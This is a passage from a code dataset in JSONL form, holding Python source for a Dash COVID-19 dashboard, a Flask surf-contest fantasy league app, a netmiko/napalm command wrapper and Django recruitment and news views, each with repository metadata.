Avg','value':3},\n {'label':'Weekly Avg','value':7},\n {'label':'14 Day Avg','value':14}],value=1, style=dict(width='150px'))],\n style=dict(display='inline-block',width='20%', verticalAlign=\"left\",)),\n html.Div(children=[html.Label('Show Top Countries Only'),dcc.Dropdown(id='no_of_top_countries', options=[{'label':'Show All','value': len(country_list)},\n {'label':'Top 10','value':10},\n {'label':'Top 20','value':20},\n {'label':'Top 30','value':30},\n {'label':'Top 50','value':50},],value=20, style=dict(width='450px'))],\n style=dict(display='inline-block',width='20%', verticalAlign=\"left\",)),\n html.Div(children=[html.Label('Only Countries with at least'),dcc.Dropdown(id='minimum_cases', options=[{'label':'Show All','value': 0},\n {'label':'100 Confirmed Cases','value':100},\n {'label':'250 Confirmed Cases','value':250},\n {'label':'500 Confirmed Cases','value':500},\n {'label':'1,000 Confirmed Cases','value':1000},\n {'label':'2,500 Confirmed Cases','value':2500},\n {'label':'5,000 Confirmed Cases','value':5000},\n {'label':'10,000 Confirmed Cases','value':10000},],value=100, style=dict(width='450px'))],\n style=dict(display='inline-block',width='18%', verticalAlign=\"left\",)),\n ],style=dict(display='inline-block',width='98%', verticalAlign=\"left\",padding=10))\n ]),\n \n \n \n html.Div(dcc.Slider(\n id='g_date',\n min = unixTimeMillis(daterange.min()),\n max = unixTimeMillis(daterange.max()),\n value = unixTimeMillis(daterange.max()),\n step=None, #only defined marks can be selected\n marks=marks\n ), style= {'width': '98%', 'display': 'inline-block','marginBottom': 10, 'marginTop': 25}),\n html.Div(dcc.Graph(id='global_view')), \n html.Div(dcc.Graph(id='case_rank'))\n ]) \n]))\n\n\n#FUNCTIONS AND CALLBACKS**********************************************************************************************************\n\n#callback to dynamically update country dropdown menu for selected regions\n@app.callback(\n [dash.dependencies.Output('country-dropdown', 'options'),\n dash.dependencies.Output('country-dropdown', 'value')],\n [dash.dependencies.Input('region-dropdown', 'value')]\n)\ndef update_country_dropdown(region):\n countrylist = []\n valuelist=[]\n for r in region:\n r_list=[{'label': i, 'value': i} for i in regionDict[r]]\n for e in r_list:\n countrylist.append(e)\n \n for r in region:\n r_list=[i for i in regionDict[r]]\n for e in r_list:\n valuelist.append(e) \n return countrylist, valuelist\n\n\n#graph cases over time for selected countries for all types\n@app.callback(\n Output(component_id='timeline_view', component_property='figure'),\n [dash.dependencies.Input('country-dropdown', 'value')])\ndef country_view(g_country):\n #graph country over time\n dfc=df[df['Country'].isin(g_country)]\n dfc=pd.pivot_table(dfc,index=['type','date'],values='value',aggfunc='sum')\n dfc=dfc.reset_index()\n fig = px.line(dfc,x='date',y='value',color='type')\n fig.update_layout(title= 'Combined cases for selected countries')\n return fig\n\n#graph cases over time for selected countries\n@app.callback(\n Output(component_id='timeline_country_bar', component_property='figure'),\n [dash.dependencies.Input('country-dropdown', 'value'),\n dash.dependencies.Input('timeline_type', 'value')])\ndef timeline_country_view(g_country,g_type):\n #graph country over time\n dfc=df[df['Country'].isin(g_country)]\n dfc=dfc[dfc['type']==g_type]\n dfc=pd.pivot_table(dfc,index=['Country','date'],values='value',aggfunc='sum')\n dfc=dfc.reset_index()\n fig=px.bar(dfc,x='date',y='value',color='Country')\n return fig\n\n#graph change of case numbers over time for selected countries\n@app.callback(\n Output(component_id='change_over_time', component_property='figure'),\n [dash.dependencies.Input('country-dropdown', 'value'),\n dash.dependencies.Input('timeline_type', 'value'),\n dash.dependencies.Input('change_type', 'value'),\n dash.dependencies.Input('change_periods', 'value')])\ndef change_over_time(g_country,g_type,change_type,change_periods):\n chng=df[df['Country'].isin(g_country)]\n chng=chng[chng['type']==g_type]\n dfc=pd.pivot_table(chng, index=['Country','date','region','Population'], values='value', aggfunc='sum')\n dfc=dfc.reset_index()\n change=pd.DataFrame()\n for c in dfc['Country'].unique().tolist():\n tdfc=dfc[dfc['Country']==c]\n tdfc['Number of Cases']= tdfc['value'].rolling(window=change_periods).mean()\n tdfc['Cases per 1 mio inhabitants']=1000000 * (tdfc['Number of Cases'] / tdfc['Population'])\n tdfc['Growth: Daily New Cases']= tdfc['value'].diff(periods=change_periods) / change_periods\n tdfc['Growth : New Cases per 1 mio inhabitants']=1000000 * (tdfc['Growth: Daily New Cases']/ tdfc['Population'])\n tdfc['Growth: Daily Percentage Change']= tdfc['value'].pct_change(periods=change_periods) / change_periods\n tdfc['Growth: Days for Cases to Double']= 1/(tdfc['value'].pct_change(periods=change_periods) / change_periods)\n tdfc['Swiss Quarantine Threshold (<60)']= (tdfc['Growth: Daily New Cases'].rolling(window=14).sum()/ tdfc['Population'])*100000\n tdfc=tdfc.replace([0, np.inf, -np.inf], np.nan)\n change=change.append(tdfc)\n\n def sorter(changetype):\n sortme=False\n catorder='total descending'\n if changetype=='Growth: Days for Cases to Double':\n sortme=True\n catorder= 'total ascending'\n return sortme, catorder\n\n hovrdata=changetypes.copy()\n hovrdata.append('Population')\n\n fig = px.line(change,x='date',y=change_type, color='Country',hover_data=hovrdata)\n if change_type=='Growth: Daily Percentage Change':\n fig.update_yaxes(range=[0,1], tickformat='%')\n \n fig.update_yaxes(categoryorder=sorter(change_type)[1])\n \n if change_type!='Swiss Quarantine Threshold (<60)':\n fig.update_layout(title=g_type + ' - ' + change_type + ' (' + str(change_periods) + ' day average)') \n else:\n fig.update_layout(title=g_type + ' - ' + change_type) \n fig.add_shape(type=\"line\",x0=0,y0=60,x1=1,y1=60,xref=\"paper\",yref=\"y\",\n line=dict(color=\"LightSeaGreen\",width=2,dash=\"dashdot\"),)\n\n return fig\n\n\n#shows choroplethgraph\n@app.callback(\n [Output(component_id='global_view', component_property='figure'),\n Output(component_id='case_rank', component_property='figure')],\n [dash.dependencies.Input('g_region', 'value'),\n dash.dependencies.Input('g_type', 'value'),\n dash.dependencies.Input('g_date', 'value'),\n dash.dependencies.Input('changetype', 'value'),\n dash.dependencies.Input('no_of_periods', 'value'),\n dash.dependencies.Input('excludedCountries', 'value'),\n dash.dependencies.Input('no_of_top_countries', 'value'),\n dash.dependencies.Input('minimum_cases', 'value'),\n ])\ndef global_view(g_region,g_type,g_date, changetype, no_of_periods, excludedCountries,no_of_top_countries,minimum_cases):\n g_date=datetime.fromtimestamp(g_date)\n #g_date=g_date.replace(hour=0, minute=0, second=0)\n dfg=df[~df['Country'].isin(excludedCountries)]\n dfg=dfg[dfg['region'].isin(g_region)]\n dfg=dfg[dfg['type']==g_type]\n \n \n dfc=dfg.copy(deep=True) #create copy to then calculate country consolidated values for the bar chart further down\n \n #get data for choropleth seperate from country data to preserve more detailed lat and long values \n dfg=pd.pivot_table(dfg,index=['region','City','Country','Lat','Long','date','Population'], values='value',aggfunc='sum')\n dfg=dfg.reset_index()\n dfg['Number of Cases']= dfg['value'].rolling(window=no_of_periods).mean()\n dfg['Cases per 1 mio inhabitants']=1000000 * (dfg['Number of Cases'] / dfg['Population'])\n dfg['Growth: Daily New Cases']= dfg['value'].diff(periods=no_of_periods) / no_of_periods\n dfg['Growth : New Cases per 1 mio inhabitants']=1000000 * (dfg['Growth: Daily New Cases']/ dfg['Population'])\n dfg['Growth: Daily Percentage Change']= dfg['value'].pct_change(periods=no_of_periods) / no_of_periods\n dfg['Growth: Days for Cases to Double']= 1/(dfg['value'].pct_change(periods=no_of_periods) / no_of_periods)\n dfg['Swiss Quarantine Threshold (<60)']= (dfg['Growth: Daily New Cases'].rolling(window=14).sum()/ dfg['Population'])*100000\n dfg=dfg.replace([0,np.inf, -np.inf], np.nan)\n dfg=dfg[dfg[changetype].notnull()]\n dfg=dfg[dfg['date']==g_date]\n\n #consolidate by country\n dfc=pd.pivot_table(dfc, index=['Country','date','region','Population'], values='value', aggfunc='sum')\n dfc=dfc.reset_index()\n dfc['Number of Cases']= dfc['value'].rolling(window=no_of_periods).mean()\n dfc['Cases per 1 mio inhabitants']=1000000 * (dfc['Number of Cases'] / dfc['Population'])\n dfc['Growth: Daily New Cases']= dfc['value'].diff(periods=no_of_periods) / no_of_periods\n dfc['Growth : New Cases per 1 mio inhabitants']=1000000 * (dfc['Growth: Daily New Cases']/ dfc['Population'])\n dfc['Growth: Daily Percentage Change']= dfc['value'].pct_change(periods=no_of_periods) / no_of_periods\n dfc['Growth: Days for Cases to Double']= 1/(dfc['value'].pct_change(periods=no_of_periods) / no_of_periods)\n dfc['Swiss Quarantine Threshold (<60)']= (dfc['Growth: Daily New Cases'].rolling(window=14).sum()/ dfc['Population'])*100000\n dfc=dfc.replace([0, np.inf, -np.inf], np.nan)\n dfc=dfc[dfc[changetype].notnull()]\n dfc=dfc[dfc['date']==g_date]\n \n def sorter(changetype):\n sortme=False\n catorder='total descending'\n if changetype=='Growth: Days for Cases to Double':\n sortme=True\n catorder= 'total ascending'\n return sortme, catorder\n \n dfc=dfc[dfc['Number of Cases']>minimum_cases]\n dfc=dfc.sort_values(by=[changetype],ascending=sorter(changetype)[0]).head(no_of_top_countries)\n top_countries=dfc['Country'].unique().tolist()\n \n #limit dfg to only top countries\n dfg=dfg[dfg['Country'].isin(top_countries)]\n dmin=dfg[changetype].min()\n dmax=dfg[changetype].max()\n drange=abs(dmax-dmin)\n \n def sizeme(changetype, dmin, dmax, valuetosize):\n sm = 3+(((valuetosize-dmin)/drange)*38)\n if changetype=='Growth: Days for Cases to Double':\n sm=3+(((abs(valuetosize-dmax))/drange)*38)\n return sm\n dfg\n dfg['size']=dfg.apply(lambda x: sizeme(changetype,dmin,dmax,x[changetype]),axis=1)\n\n hovrdata=changetypes.copy()\n hovrdata.append('Population')\n \n #Graph it\n fig=px.scatter_geo(dfg,lat='Lat',lon='Long',color='Country',hover_name=dfg['Country'],hover_data=hovrdata,\n size='size',projection=\"natural earth\",width=1600,height=800,opacity=0.8,) \n title='As of ' + g_date.strftime('%Y-%m-%d') \n fig.update_layout(title=title)\n\n fig2 = px.bar(dfc, x='Country',y=changetype,color='region', hover_data=hovrdata)\n fig2.update_xaxes(tickangle=45,categoryorder=sorter(changetype)[1])\n \n return fig, fig2\n\n\n\nif __name__ == '__main__':\n app.run_server(debug=False)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":19928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"538951044","text":"from flask import request, make_response, render_template\nfrom app import app, db, parsers, client\nfrom app.models import wsl\n\nfrom colorutils import Color\n\n\n@app.route('/')\ndef index():\n seasons = wsl.Season.query.all()\n seasons = [{'year': season.year} for season in seasons]\n return render_template('index.html', seasons=seasons)\n\n\n@app.route('/seasons/')\ndef season(year):\n events = wsl.Event.query.filter_by(year=year)\n events = [{'name': event.name} for event in events]\n for event in events:\n event['title'] = event['name'].replace('-', ' ').title()\n return render_template('season.html', event_year=year, events=events)\n\n\n@app.route('/seasons//event/')\ndef event(year, name):\n # hard-code import of kook drafts while I don't have\n # a database set up for that info yet\n from app.kooks import kooks\n event_name = name\n event = wsl.Event.query.filter_by(year=year, name=event_name).first()\n\n def find_color_for_athlete(athlete_name):\n '''\n quick utility function for finding the color\n to assign to an athlete's box based on the\n kook that drafted them\n '''\n if wsl._is_placeholder_athlete_name(athlete_name):\n return \"#bbbbbb\"\n\n for kook, attrs in kooks.items():\n if athlete_name in attrs[\"athletes\"]:\n return attrs[\"color\"]\n else:\n raise ValueError(\n \"Could not find kook with athlete {}\".format(athlete_name)\n )\n\n # top section of event page will be a large table displaying\n # the heat-by-heat results from an event.\n # attributes of cells in this table with be either `table`,\n # if there's a table to display, or `title`, a special\n # attribute reserved for the first row so that we know\n # how many round columns to create\n first_row = []\n for n, _ in enumerate(event.rounds):\n cell = {\"table\": False, \"title\": \"Round {}\".format(n+1)}\n first_row.append(cell)\n rows = [first_row]\n\n for round in event.rounds:\n if not round.completed and not client.sleeping:\n round.update()\n\n # now piece together each row of the table separately\n heat_winning_scores = {}\n num_rows = max([len(round.heats.all()) for round in event.rounds])\n for i in range(num_rows):\n row = []\n for round in event.rounds:\n # try to get the heat for this row. If there aren't enough,\n # then we'll just leave it blank\n try:\n heat = round.heats[i]\n except IndexError:\n row.append({\"table\": False, \"title\": False})\n continue\n\n # now build this table for this table *element*\n # record the winning score so that we can circle the\n # corresponding box\n table = []\n max_score = max([result.score or 0 for result in heat.athletes])\n heat_winning_scores[heat.id] = max_score\n for result in heat.athletes:\n name = result.athlete.name\n background = find_color_for_athlete(name)\n alpha_values = [\"55\", \"bb\", \"ff\"]\n background += alpha_values[heat.status]\n\n h, s, v = Color(hex=background).hsv\n text_color = \"#ffffff\" if v < 0.3 else \"#000000\"\n\n winner = (result.score == max_score) and heat.completed\n border = \"5px solid #000000\" if winner else \"1px solid #ffffff\"\n table.append({\n \"name\": name,\n \"background\": background,\n \"score\": result.score,\n \"text\": text_color,\n \"border\": border\n })\n row.append({\"table\": table, \"title\": False})\n rows.append(row)\n\n _SCORE_BREAKDOWN = [265, 1330, 3320, 4745, 6085, 7800, 10000]\n kook_rows = []\n idx, row = 0, []\n for kook, attrs in kooks.items():\n h, s, v = Color(hex=attrs[\"color\"]).hsv\n text_color = \"#ffffff\" if v < 0.3 else \"#000000\"\n kook_dict = {\n \"background\": attrs[\"color\"],\n \"text\": text_color,\n \"name\": kook\n }\n\n total_score, athletes = 0, []\n for athlete_name in attrs[\"athletes\"]:\n athlete = wsl.Athlete.query.filter_by(name=athlete_name).first()\n for n, round in enumerate(event.rounds[2:]):\n for heat in round.heats:\n heat_result = wsl.HeatResult.query.filter_by(\n athlete_id=athlete.id, heat_id=heat.id).first()\n if heat_result is not None:\n if n == (len(list(event.rounds)) - 3):\n n += 1\n winning_score = heat_winning_scores[heat.id]\n if heat_result.score == winning_score:\n n += 1\n break\n else:\n break\n\n score = _SCORE_BREAKDOWN[n]\n total_score += score\n athletes.append({\"name\": athlete_name, \"score\": score})\n\n kook_dict[\"score\"] = total_score\n kook_dict[\"athletes\"] = athletes\n\n # reset row after every 3. TODO: something more robust here\n # for configurable competitor sizes and displays\n row.append(kook_dict)\n idx += 1\n if idx == 3:\n kook_rows.append(row)\n idx, row = 0, []\n\n event_name = event_name.replace('-', ' ').title()\n event_name = '{} {}'.format(event_name, year)\n return render_template(\n 'event.html', event_name=event_name, rows=rows, kook_rows=kook_rows\n )\n\n\ndef make_csv_response(csv_string):\n output = make_response(csv_string)\n output.headers[\"Content-Disposition\"] = \"attachment; filename=export.csv\"\n output.headers[\"Content-type\"] = \"text/csv\"\n return output\n\n\n@app.route('/event-results')\ndef get_event_results():\n event_name = request.args.get('event-name')\n event_year = int(request.args.get('event-year'))\n\n # try to query event first to avoid having to query\n # season if we don't need to\n event = wsl.Event.query.filter_by(\n name=event_name, year=event_year).first()\n if event is None:\n # try to get the season in order to create the event\n season = wsl.Season.query.filter_by(year=event_year).first()\n\n # if it doesn't exist, then create it and try to get the\n # event again\n # TODO: this won't work for a real request, which won't\n # want to sit there while the event, let alone the season,\n # gets created\n if season is None:\n season = wsl.Season.create(year=event_year)\n db.session.add(season)\n db.session.commit()\n event = wsl.Event.query.filter_by(\n name=event_name, year=event_year).first()\n\n # event will have just been created and so will have the\n # most up-to-date results\n if event is not None:\n return make_csv_response(event.results)\n\n # Try to create the event if season creation wasn't enough\n # to make it not None. At the very least we'll get a more\n # informative error as to what's invalid about it\n if event is None:\n event_id = parsers.get_event_ids(season.url, event_names=event_name)\n event = wsl.Event.create(name=event_name, id=event_id, season=season)\n db.session.add(event)\n\n # update the event if we didn't need to create it\n elif not event.completed:\n event.update()\n\n # commit updates and return response\n db.session.commit()\n return make_csv_response(event.results)\n\n\n@app.route('/reset')\ndef reset_event():\n year = request.args.get('year')\n name = request.args.get('name')\n event = wsl.Event.query.filter_by(year=year, name=name).first()\n if event is None:\n return \"No event\", 400\n\n id = event.id\n season = event.season\n\n objects_deleted = 0\n rounds = wsl.Round.query.filter_by(event=event)\n for round in rounds:\n heats = wsl.Heat.query.filter_by(round=round)\n for heat in heats:\n objects_deleted += wsl.HeatResult.query.filter_by(heat=heat).delete()\n objects_deleted += heats.delete()\n objects_deleted += rounds.delete()\n\n db.session.delete(event)\n db.session.commit()\n app.logger.info(\"Deleted {} objects\".format(objects_deleted + 1))\n\n app.logger.info(\"Creating new event {}\".format(name))\n event = wsl.Event.create(name=name, season=season, id=id)\n app.logger.info(\"Event created\")\n\n db.session.add(event)\n db.session.commit()\n app.logger.info(\"Event added to database\")\n\n return \"Success!\", 200","sub_path":"kook-tracker/app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":7887,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"487252196","text":"from backend.plugins.netmiko.netmiko_drvr import netmko\nfrom backend.plugins.napalm.napalm_drvr import naplm\n\ndef exec_command(**kwargs):\n lib = kwargs.get(\"library\", False)\n command = kwargs.get(\"command\", False)\n if type(command) == str:\n commandlst = [command]\n else:\n commandlst = command\n if lib == \"netmiko\":\n try:\n netmik = netmko(**kwargs)\n sesh = netmik.connect()\n result = netmik.sendcommand(sesh,commandlst)\n netmik.logout(sesh)\n return result\n except Exception as e:\n return str(e)\n elif lib == \"napalm\":\n try:\n napl = naplm(**kwargs)\n sesh = napl.connect()\n result = napl.sendcommand(sesh,commandlst)\n napl.logout(sesh)\n return result\n except Exception as e:\n return str(e)","sub_path":"backend/plugins/getconfig/exec_command.py","file_name":"exec_command.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"339712060","text":"from django.shortcuts import render, redirect\nfrom .forms import RegisterForm\nfrom django.shortcuts import render, get_object_or_404, HttpResponseRedirect, render_to_response\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.template import RequestContext\nfrom django import forms\nimport markdown2\nfrom django.db import models\nfrom .models import User, Library, Information, Article, Contact,PersonalCV\nfrom django.views.generic.list import ListView\nfrom .forms import BlogCommentForm\nfrom django.views.generic.detail import DetailView\nfrom django.views.generic.edit import CreateView, FormView\n\n\ndef register(request):\n # 从 get 或者 post 请求中获取 next 参数值\n # get 请求中,next 通过 url 传递,即 /?next=value\n # post 请求中,next 通过表单传递,即 \n redirect_to = request.POST.get('next', request.GET.get('next', ''))\n\n # 只有当请求为 POST 时,才表示用户提交了注册信息\n if request.method == 'POST':\n # request.POST 是一个类字典数据结构,记录了用户提交的注册信息\n # 这里提交的就是用户名(username)、密码(password)、确认密码、邮箱(email)\n # 用这些数据实例化一个用户注册表单\n form = RegisterForm(request.POST)\n\n # 验证数据的合法性\n if form.is_valid():\n # 如果提交数据合法,调用表单的 save 方法将用户数据保存到数据库\n form.save()\n\n if redirect_to:\n return redirect(redirect_to)\n else:\n return redirect('/')\n else:\n # 请求不是 POST,表明用户正在访问注册页面,展示一个空的注册表单给用户\n form = RegisterForm()\n\n # 渲染模板\n # 如果用户正在访问注册页面,则渲染的是一个空的注册表单\n # 如果用户通过表单提交注册信息,但是数据验证不合法,则渲染的是一个带有错误信息的表单\n # 将记录用户注册前页面的 redirect_to 传给模板,以维持 next 参数在整个注册流程中的传递\n return render(request, 'users/register.html', context={'form': form, 'next': redirect_to})\n\n\nclass Personal(ListView):\n template_name = \"users/personal.html\"\n context_object_name = \"cv_list\"\n\n def get_queryset(self):\n a_call_name = self.request.GET.get('insert_call_name')\n a_age = self.request.GET.get('insert_age')\n a_gender = self.request.GET.get('insert_gender')\n a_nation = self.request.GET.get('insert_nation')\n a_tall = self.request.GET.get('insert_tall')\n a_address = self.request.GET.get('insert_address')\n a_graduate = self.request.GET.get('insert_graduate')\n a_graduate_time = self.request.GET.get('insert_graduate_time')\n a_major = self.request.GET.get('insert_major')\n a_work_age = self.request.GET.get('insert_work_age')\n a_present_duty = self.request.GET.get('insert_present_duty')\n a_language = self.request.GET.get('insert_language')\n a_special_skills = self.request.GET.get('insert_special_skills')\n a_duty = self.request.GET.get('insert_duty')\n a_salary = self.request.GET.get('insert_salary')\n a_route_area = self.request.GET.get('insert_route_area')\n a_contract = self.request.GET.get('insert_contract')\n a_recruitment_ship = self.request.GET.get('insert_recruitment_ship')\n a_certificate_level = self.request.GET.get('insert_certificate_level')\n a_special_certificate = self.request.GET.get('insert_special_certificate')\n a_QQ = self.request.GET.get('insert_QQ')\n a_tel = self.request.GET.get('insert_tel')\n a_experience = self.request.GET.get('insert_experience')\n a_introduction = self.request.GET.get('insert_introduction')\n a_time = self.request.GET.get('insert_time')\n if a_call_name:\n if a_duty:\n if a_tel:\n PersonalCV.objects.create(\n call_name=a_call_name,\n age=a_age,\n gender=a_gender,\n nation=a_nation,\n tall=a_tall,\n address=a_address,\n graduate=a_graduate,\n graduate_time=a_graduate_time,\n major=a_major,\n work_age=a_work_age,\n present_duty=a_present_duty,\n language=a_language,\n special_skills=a_special_skills,\n duty=a_duty,\n salary=a_salary,\n route_area=a_route_area,\n contract=a_contract,\n recruitment_ship=a_recruitment_ship,\n certificate_level=a_certificate_level,\n special_certificate=a_special_certificate,\n QQ=a_QQ,\n tel=a_tel,\n experience=a_experience,\n introduction=a_introduction,\n time=a_time,\n )\n cv_list = PersonalCV.objects.all()\n else:\n cv_list = PersonalCV.objects.all()\n return cv_list\n\n def get_context_data(self, **kwargs):\n return super(Personal, self).get_context_data(**kwargs)\n\n\nclass Search_Crew(ListView):\n template_name = \"recruit/search_crew.html\"\n context_object_name = \"crew_list\"\n\n def get_queryset(self):\n search_duty = self.request.GET.get('search_duty')\n search_certificate_level = self.request.GET.get('search_certificate_level')\n search_special_certificate = self.request.GET.get('search_special_certificate')\n search_route_area = self.request.GET.get('search_route_area')\n search_time = self.request.GET.get('search_time')\n\n self.request.session[\"duty\"] = search_duty\n self.request.session[\"certificate_level\"] = search_certificate_level\n self.request.session[\"special_certificate\"] = search_special_certificate\n self.request.session[\"route_area\"] = search_route_area\n self.request.session[\"time\"] = search_time\n crew_list = PersonalCV.objects.all()\n\n return crew_list\n\n def get_context_data(self, **kwargs):\n return super(Search_Crew, self).get_context_data(**kwargs)\n\n\nclass Search(ListView):\n template_name = \"recruit/search.html\"\n context_object_name = \"recruit_list\"\n\n def get_queryset(self):\n search_ship_age = self.request.GET.get('search_ship_age')\n search_duty = self.request.GET.get('search_duty')\n search_duty_id = self.request.GET.get('search_duty_id')\n search_company_name = self.request.GET.get('search_company_name')\n search_certificate_level = self.request.GET.get('search_certificate_level')\n search_special_certificate = self.request.GET.get('search_special_certificate')\n search_route_area = self.request.GET.get('search_route_area')\n search_recruitment_ship = self.request.GET.get('search_recruitment_ship')\n search_tonnage = self.request.GET.get('search_tonnage')\n search_time = self.request.GET.get('search_time')\n\n self.request.session[\"ship_age\"] = search_ship_age\n self.request.session[\"duty\"] = search_duty\n self.request.session[\"duty_id\"] = search_duty_id\n self.request.session[\"company_name\"] = search_company_name\n self.request.session[\"certificate_level\"] = search_certificate_level\n self.request.session[\"special_certificate\"] = search_special_certificate\n self.request.session[\"route_area\"] = search_route_area\n self.request.session[\"recruitment_ship\"] = search_recruitment_ship\n self.request.session[\"tonnage\"] = search_tonnage\n self.request.session[\"time\"] = search_time\n recruit_list = Library.objects.all()\n if search_duty:\n Information.objects.create(\n ship_age=search_ship_age,\n duty=search_duty,\n duty_id=search_duty_id,\n company_name=search_company_name,\n certificate_level=search_certificate_level,\n special_certificate=search_special_certificate,\n route_area=search_route_area,\n recruitment_ship=search_recruitment_ship,\n tonnage=search_tonnage,\n time=search_time,\n )\n else:\n return recruit_list\n\n def get_context_data(self, **kwargs):\n return super(Search, self).get_context_data(**kwargs)\n\n\nclass Crew_Detail(ListView):\n template_name = \"recruit/crew_detail.html\"\n context_object_name = \"cv_list\"\n\n def get_queryset(self):\n search_duty = self.request.session.get('duty')\n search_certificate_level = self.request.session.get('certificate_level')\n search_special_certificate = self.request.session.get('special_certificate')\n search_route_area = self.request.session.get('route_area')\n search_recruitment_ship = self.request.session.get('recruitment_ship')\n search_time = self.request.session.get('time')\n\n if search_duty == '':\n cv_list = PersonalCV.objects.all()\n else:\n cv_list = PersonalCV.objects.filter(duty__exact=search_duty)\n if search_certificate_level == '':\n cv_list = cv_list.filter()\n else:\n cv_list = cv_list.filter(certificate_level__exact=search_certificate_level)\n if search_special_certificate == '':\n cv_list = cv_list.filter()\n else:\n cv_list = cv_list.filter(special_certificate__exact=search_special_certificate)\n if search_route_area == '':\n cv_list = cv_list.filter()\n else:\n cv_list = cv_list.filter(route_area__exact=search_route_area)\n if search_recruitment_ship == '':\n cv_list = cv_list.filter()\n else:\n cv_list = cv_list.filter(recruitment_ship__exact=search_recruitment_ship)\n if search_time == '':\n cv_list = cv_list.filter()\n else:\n cv_list = cv_list.filter(time__exact=search_time)\n return cv_list\n\n def get_context_data(self, **kwargs):\n return super(Crew_Detail, self).get_context_data(**kwargs)\n\n\nclass Search_detail(ListView):\n template_name = \"recruit/search_detail.html\"\n context_object_name = \"post_list\"\n\n def get_queryset(self):\n\n search_ship_age = self.request.session.get('ship_age')\n search_duty = self.request.session.get('duty')\n search_company_name = self.request.session.get('company_name')\n search_certificate_level = self.request.session.get('certificate_level')\n search_special_certificate = self.request.session.get('special_certificate')\n search_route_area = self.request.session.get('route_area')\n search_recruitment_ship = self.request.session.get('recruitment_ship')\n search_tonnage = self.request.session.get('tonnage')\n search_time = self.request.session.get('time')\n\n if search_duty == '':\n post_list = Library.objects.all()\n else:\n post_list = Library.objects.filter(duty__exact=search_duty)\n if search_ship_age == '':\n post_list = post_list.filter()\n else:\n post_list = post_list.filter(ship_age__exact=search_ship_age)\n if search_company_name == '':\n post_list = post_list.filter()\n else:\n post_list = post_list.filter(company_name__iexact=search_company_name)\n if search_certificate_level == '':\n post_list = post_list.filter()\n else:\n post_list = post_list.filter(certificate_level__exact=search_certificate_level)\n if search_special_certificate == '':\n post_list = post_list.filter()\n else:\n post_list = post_list.filter(special_certificate__exact=search_special_certificate)\n if search_route_area == '':\n post_list = post_list.filter()\n else:\n post_list = post_list.filter(route_area__exact=search_route_area)\n if search_recruitment_ship == '':\n post_list = post_list.filter()\n else:\n post_list = post_list.filter(recruitment_ship__exact=search_recruitment_ship)\n if search_tonnage == '':\n post_list = post_list.filter()\n else:\n post_list = post_list.filter(tonnage__exact=search_tonnage)\n if search_time == '':\n post_list = post_list.filter()\n else:\n post_list = post_list.filter(time__exact=search_time)\n return post_list\n\n def get_context_data(self, **kwargs):\n return super(Search_detail, self).get_context_data(**kwargs)\n\n\nclass News(ListView):\n template_name = \"news/news_list.html\"\n context_object_name = \"article_list\"\n\n def get_queryset(self):\n # 过滤数据,获取所有已发布文章,并且将内容转成markdown形式\n article_list = Article.objects.filter(status='p')\n for article in article_list:\n article.body = markdown2.markdown(article.body, extras=['fenced-code-blocks'])\n return article_list\n\n def get_context_data(self, **kwargs):\n kwargs['date_archive'] = Article.objects.archive()\n kwargs['body_archive'] = Article.objects.archive()\n return super(News, self).get_context_data(**kwargs)\n\n\nclass ArticleDetailView(DetailView):\n model = Article\n template_name = \"news/detail.html\"\n context_object_name = \"article\"\n pk_url_kwarg = 'article_id'\n # pk_url_kwarg用于接受一个来自url中的主键,然后会根据这个主键进行查询\n # 我们之前在urlpatterns已经捕获article_id\n\n def get_object(self, queryset=None):\n # 指定以上几个属性,已经能够返回一个DetailView视图了,为了让文章以markdown形式展现,我们重写get_object()方法。\n # 返回该视图要显示的对象\n obj = super(ArticleDetailView, self).get_object()\n obj.body = markdown2.markdown(obj.body, extras=['fenced-code-blocks'], )\n return obj\n\n # 第五周新增\n def get_context_data(self, **kwargs):\n kwargs['comment_list'] = self.object.blogcomment_set.all()\n kwargs['form'] = BlogCommentForm()\n return super(ArticleDetailView, self).get_context_data(**kwargs)\n\n\nclass ArchiveView(ListView):\n template_name = \"news/news_list.html\"\n context_object_name = \"article_list\"\n\n def get_queryset(self): # 接收从url传递的year和month参数,转为int类型\n year = int(self.kwargs['year'])\n month = int(self.kwargs['month']) # 按照year和month过滤文章\n article_list = Article.objects.filter(created_time__year=year, created_time__month=month)\n for article in article_list:\n article.body = markdown2.markdown(article.body, extras=['fenced-code-blocks'], )\n return article_list\n\n def get_context_data(self, **kwargs):\n return super(ArchiveView, self).get_context_data(**kwargs)\n\n\n# 第五周新增\nclass CommentPostView(FormView):\n form_class = BlogCommentForm\n template_name = 'news/detail.html'\n\n def form_valid(self, form):\n target_article = get_object_or_404(Article, pk=self.kwargs['article_id'])\n comment = form.save(commit=False)\n comment.article = target_article\n comment.save()\n self.success_url = target_article.get_absolute_url()\n return HttpResponseRedirect(self.success_url)\n\n def form_invalid(self, form):\n target_article = get_object_or_404(Article, pk=self.kwargs['article_id'])\n return render(self.request, 'news/detail.html', {\n 'form': form,\n 'article': target_article,\n 'comment_list': target_article.blogcomment_set.all(),\n })\n\n\nclass Contacts(ListView):\n template_name = 'contact/contact.html'\n context_object_name = \"con_list\"\n\n def get_queryset(self):\n # 过滤数据,获取所有已发布文章,并且将内容转成markdown形式\n con_list = Contact.objects.all()\n return con_list\n\n def get_context_data(self, **kwargs):\n kwargs['date_archive'] = Article.objects.archive()\n kwargs['body_archive'] = Article.objects.archive()\n return super(Contacts, self).get_context_data(**kwargs)\n\n\nclass Recruit(ListView):\n template_name = 'recruit/recruit.html'\n context_object_name = \"library_list\"\n\n def get_queryset(self):\n # 过滤数据,获取所有已发布文章,并且将内容转成markdown形式\n a_ship_age = self.request.GET.get('insert_ship_age')\n a_duty = self.request.GET.get('insert_duty')\n a_certificate_level = self.request.GET.get('insert_certificate_level')\n a_special_certificate = self.request.GET.get('insert_special_certificate')\n a_route_area = self.request.GET.get('insert_route_area')\n a_recruitment_ship = self.request.GET.get('insert_recruitment_ship')\n a_tonnage = self.request.GET.get('insert_tonnage')\n a_time = self.request.GET.get('insert_time')\n a_onboard_location = self.request.GET.get('insert_onboard_location')\n a_onboard_time 